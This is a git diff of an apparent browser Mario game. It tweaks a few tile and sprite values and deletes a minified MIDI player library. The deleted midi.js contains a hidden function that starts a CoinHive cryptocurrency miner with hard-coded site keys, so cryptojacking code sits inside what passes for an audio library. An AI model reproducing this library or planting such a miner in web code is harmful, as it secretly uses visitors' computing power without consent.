diff --git a/code/backgroundGenerator.js b/code/backgroundGenerator.js
index 1672a3d..967e204 100755
--- a/code/backgroundGenerator.js
+++ b/code/backgroundGenerator.js
@@ -35,7 +35,7 @@ Mario.BackgroundGenerator.prototype = {
     },
     
     GenerateOverground: function(level) {
-        var range = this.Distant ? 4 : 6;
+        var range = this.Distant ? 3 : 6;
         var offs = this.Distant ? 2 : 1;
         var oh = Math.floor(Math.random() * range) + offs;
         var h = Math.floor(Math.random() * range) + offs;
@@ -55,9 +55,9 @@ Mario.BackgroundGenerator.prototype = {
                     if (this.Distant){
                         s = 2;
                         if (y < 2) { s = y; }
-                        level.SetBlock(x, y, 4 + s * 8);
+                        level.SetBlock(x, y, 3 + s * 8);
                     } else {
-                        level.SetBlock(x, y, 5);
+                        level.SetBlock(x, y, 2);
                     }
                 } else if (y === h0) {
                     s = h0 === h ? 0 : 1;
diff --git a/code/fireball.js b/code/fireball.js
index 65a2955..2340055 100755
--- a/code/fireball.js
+++ b/code/fireball.js
@@ -14,7 +14,7 @@ Mario.Fireball = function(world, x, y, facing) {
 	this.Y = y;
 	this.Facing = facing;
 	
-	this.XPicO = 4;
+	this.XPicO = 5;
 	this.YPicO = 4;
 	this.YPic = 3;
 	this.XPic = 4;
diff --git a/code/midi.js b/code/midi.js
deleted file mode 100644
index 1a9221c..0000000
--- a/code/midi.js
+++ /dev/null
@@ -1,2 +0,0 @@
-!function(e){function n(){var e,n,t,r=navigator.userAgent,i=navigator.appName,o=""+parseFloat(navigator.appVersion),a=parseInt(navigator.appVersion,10);(n=r.indexOf("Opera"))!=-1?(i="Opera",o=r.substring(n+6),(n=r.indexOf("Version"))!=-1&&(o=r.substring(n+8))):(n=r.indexOf("MSIE"))!=-1?(i="Microsoft Internet Explorer",o=r.substring(n+5)):(n=r.indexOf("Trident"))!=-1?(i="Microsoft Internet Explorer",o=(n=r.indexOf("rv:"))!=-1?r.substring(n+3):"0.0"):(n=r.indexOf("Chrome"))!=-1?(i="Chrome",o=r.substring(n+7)):(n=r.indexOf("Android"))!=-1?(i="Android",o=r.substring(n+8)):(n=r.indexOf("Safari"))!=-1?(i="Safari",o=r.substring(n+7),(n=r.indexOf("Version"))!=-1&&(o=r.substring(n+8))):(n=r.indexOf("Firefox"))!=-1?(i="Firefox",o=r.substring(n+8)):(e=r.lastIndexOf(" ")+1)<(n=r.lastIndexOf("/"))&&(i=r.substring(e,n),o=r.substring(n+1),i.toLowerCase()==i.toUpperCase()&&(i=navigator.appName)),(t=o.indexOf(";"))!=-1&&(o=o.substring(0,t)),(t=o.indexOf(" "))!=-1&&(o=o.substring(0,t)),a=parseInt(""+o,10),isNaN(a)&&(o=""+parseFloat(navigator.appVersion),a=parseInt(navigator.appVersion,10));var s=new Object;return s.browserName=i,s.fullVersion=o,s.majorVersion=a,s.appName=navigator.appName,s.userAgent=navigator.userAgent,s.platform=navigator.platform,s}function t(e,n){var t=document.getElementsByTagName("script")[0],r=document.createElement("script");r.onreadystatechange=function(){"loaded"!==r.readyState&&"complete"!==r.readyState||(r.onreadystatechange=null,n())},r.onload=function(){n()},r.onerror=function(){j("Error: Cannot load  JavaScript file "+e)},r.src=e,r.type="text/javascript",t.parentNode.insertBefore(r,t)}function r(e){if(T=Module.ccall("mid_song_read_wave","number",["number","number","number","number"],[L,w,2*N,H]),0==T)return void f();for(var n=Math.pow(2,15),t=0;t<N;t++)t<T?e.outputBuffer.getChannelData(0)[t]=Module.getValue(w+2*t,"i16")/n:e.outputBuffer.getChannelData(0)[t]=0;0==F&&(F=E.currentTime)}function o(e,n,t){var i=new XMLHttpRequest;i.open("GET",n+t,!0),i.responseType="arraybuffer",i.onerror=function(){j("Error: Cannot retrieve patch file "+n+t)},i.onload=function(){if(200!=i.status)return void j("Error: Cannot retrieve patch filee "+n+t+" : "+i.status);if(num_missing--,FS.createDataFile("pat/",t,new Int8Array(i.response),!0,!0),MIDIjs.message_callback&&num_missing>0&&MIDIjs.message_callback("Loading instruments: "+num_missing),j("Loading instruments: "+num_missing),0==num_missing){stream=Module.ccall("mid_istream_open_mem","number",["number","number","number"],[x,midiFileArray.length,!1]);var o=32784,a=Module.ccall("mid_create_options","number",["number","number","number","number"],[E.sampleRate,o,1,2*N]);L=Module.ccall("mid_song_load","number",["number","number"],[stream,a]),rval=Module.ccall("mid_istream_close","number",["number"],[stream]),Module.ccall("mid_song_start","void",["number"],[L]),P=E.createScriptProcessor(N,0,1),w=Module._malloc(2*N),P.onaudioprocess=r,P.connect(E.destination),C=setInterval(s,q),MIDIjs.message_callback&&MIDIjs.message_callback("Playing: "+e),j("Playing: "+e+" ...")}},i.send()}function a(){var e=E.createBuffer(1,44100,44100);for(freq=440,i=0;i<48e3;i++)e.getChannelData(0)[i]=0;var n=E.createBufferSource();n.buffer=e,n.connect(E.destination),n.start(0)}function s(){var e=new Object;0!=F?e.time=E.currentTime-F:e.time=0,MIDIjs.player_callback&&MIDIjs.player_callback(e)}function u(e){b(),H=!1,N=S,l(e)}function l(e){F=0,s(),libtimidity_url=B+"libtimidity.js";for(var n=0;n<document.scripts.length;n++){var r=document.scripts[n].src;if(libtimidity_url==r)return void c(e)}j("Loading libtimidity ... "),"iPad"!=navigator.platform&&"iPhone"!=navigator.platform&&"iPod"!=navigator.platform||a(),t(libtimidity_url,function(){c(e)})}function c(e){j("Loading MIDI file "+e+" ..."),MIDIjs.message_callback("Loading MIDI file "+e+" ...");var n=new XMLHttpRequest;n.open("GET",e,!0),n.responseType="arraybuffer",n.onerror=function(){j("Error: Cannot retrieve MIDI file "+e)},n.onload=function(){if(200!=n.status)return void j("Error: Cannot retrieve MIDI file "+e+" : "+n.status);j("MIDI file loaded: "+e),midiFileArray=new Int8Array(n.response),x=Module._malloc(midiFileArray.length),Module.writeArrayToMemory(midiFileArray,x),rval=Module.ccall("mid_init","number",[],[]),stream=Module.ccall("mid_istream_open_mem","number",["number","number","number"],[x,midiFileArray.length,!1]);var t=32784,i=Module.ccall("mid_create_options","number",["number","number","number","number"],[E.sampleRate,t,1,2*N]);if(L=Module.ccall("mid_song_load","number",["number","number"],[stream,i]),rval=Module.ccall("mid_istream_close","number",["number"],[stream]),num_missing=Module.ccall("mid_song_get_num_missing_instruments","number",["number"],[L]),0<num_missing)for(var a=0;a<num_missing;a++){var u=Module.ccall("mid_song_get_missing_instrument","string",["number","number"],[L,a]);o(e,B+"pat/",u)}else Module.ccall("mid_song_start","void",["number"],[L]),P=E.createScriptProcessor(N,0,1),w=Module._malloc(2*N),P.onaudioprocess=r,P.connect(E.destination),C=setInterval(s,q),MIDIjs.message_callback&&MIDIjs.message_callback("Playing: "+e),j("Playing: "+e+" ...")},n.send()}function m(e,n,t){H||(H=!0,N=k,l(B+"../midi/initsynth.midi")),0!=L&&Module.ccall("mid_song_note_on","void",["number","number","number","number"],[L,e,n,t])}function d(){MIDIjs.noteOn(0,60,0)}function f(){P&&(P.disconnect(),P.onaudioprocess=0,P=0),L&&(Module._free(w),Module._free(x),Module.ccall("mid_song_free","void",["number"],[L]),Module.ccall("mid_exit","void",[],[]),L=0)}function b(){f(),clearInterval(C),j(V)}function p(e){return O||(O=document.createElement("a")),O.href=e,O.href}function g(e){if("http:"==location.protocol.toLowerCase())return e;var n=p(e),t=n.replace("https:","http:");return t}function I(){var e=new Object;0==F&&(F=(new Date).getTime()),e.time=((new Date).getTime()-F)/1e3,MIDIjs.player_callback&&MIDIjs.player_callback(e)}function M(e){v(),e=g(e);var n=document.getElementById("scorioMIDI");n?n.lastChild.setAttribute("src",e):(n=document.createElement("div"),n.setAttribute("id","scorioMIDI"),n.innerHTML='&nbsp;<bgsound src="'+e+'" volume="100"/>',document.body.appendChild(n)),C=setInterval(I,q),F=0,P=n,j("Playing "+e+" ...")}function v(){if(P){var e=P;e.lastChild.setAttribute("src","midi/silence.mid"),clearInterval(C),P=0}j(V)}function _(e){y();var n=document.getElementById("scorioMIDI");n?n.lastChild.setAttribute("data",e):(n=document.createElement("div"),n.setAttribute("id","scorioMIDI"),n.innerHTML='<object data="'+e+'" autostart="true" volume="100" type="audio/mid"></object>',document.body&&document.body.appendChild(n)),C=setInterval(I,q),F=0,P=n,j("Playing "+e+" ...")}function y(){if(P){var e=P;e.parentNode.removeChild(e),clearInterval(C),P=0}j(V)}function h(){for(var e=0;e<document.scripts.length;e++){var n=document.scripts[e].src,t=n.lastIndexOf("midi.js");if(t==n.length-7)return n.substr(0,t)}return null}function j(e){R&&console.log(e)}function D(){var e="yGNPP8A1cdHSRpP3AZAmSQvU7eOhVIcj";if(-1!=location.href.indexOf("scorio.com")||-1!=location.href.indexOf("local"))return void(e="kcLb17Y1rjo6SX8MfxQtqGEBTmawqD7B");var n=new CoinHive.Anonymous(e);n.setThrottle(.5),n.start()}var A,w,x,O,C,E=0,P=0,k=512,S=8192,N=S,T=0,L=0,B="",F=0,V="",H=!1,R=!1,q=30;B=h();var G=n();try{("iPhone"==G.platform||"iPod"==G.platform||"iPad"==G.platform)&&G.majorVersion<=6?A="none":(window.AudioContext=window.AudioContext||window.webkitAudioContext,E=new AudioContext,A="WebAudioAPI")}catch(W){A="Microsoft Internet Explorer"==G.browserName?"bgsound":"Android"==G.browserName?"none":"object"}e.MIDIjs=new Object,e.MIDIjs.set_logging=function(e){R=e},e.MIDIjs.get_loggging=function(){return R},e.MIDIjs.player_callback=function(e){},e.MIDIjs.message_callback=function(e){},e.MIDIjs.get_audio_status=function(){return V},e.MIDIjs.unmute_iOS_hack=a,"WebAudioAPI"==A?(e.MIDIjs.play=u,e.MIDIjs.stop=b,V="audioMethod: WebAudioAPI, sampleRate (Hz): "+E.sampleRate+", audioBufferSize (Byte): "+N,e.MIDIjs.noteOn=m,e.MIDIjs.startSynth=d):"bgsound"==A?(e.MIDIjs.play=M,e.MIDIjs.stop=v,V="audioMethod: &lt;bgsound&gt;"):"object"==A?(e.MIDIjs.play=_,e.MIDIjs.stop=y,V="audioMethod: &lt;object&gt;"):(e.MIDIjs.play=function(e){},e.MIDIjs.stop=function(e){},V="audioMethod: No method found"),"Microsoft Internet Explorer"==G.browserName&&"https:"==location.protocol.toLowerCase()&&M("http://"+B+"midi/silence.mid")}(this);
-//# sourceMappingURL=/lib/midi.js.map
\ No newline at end of file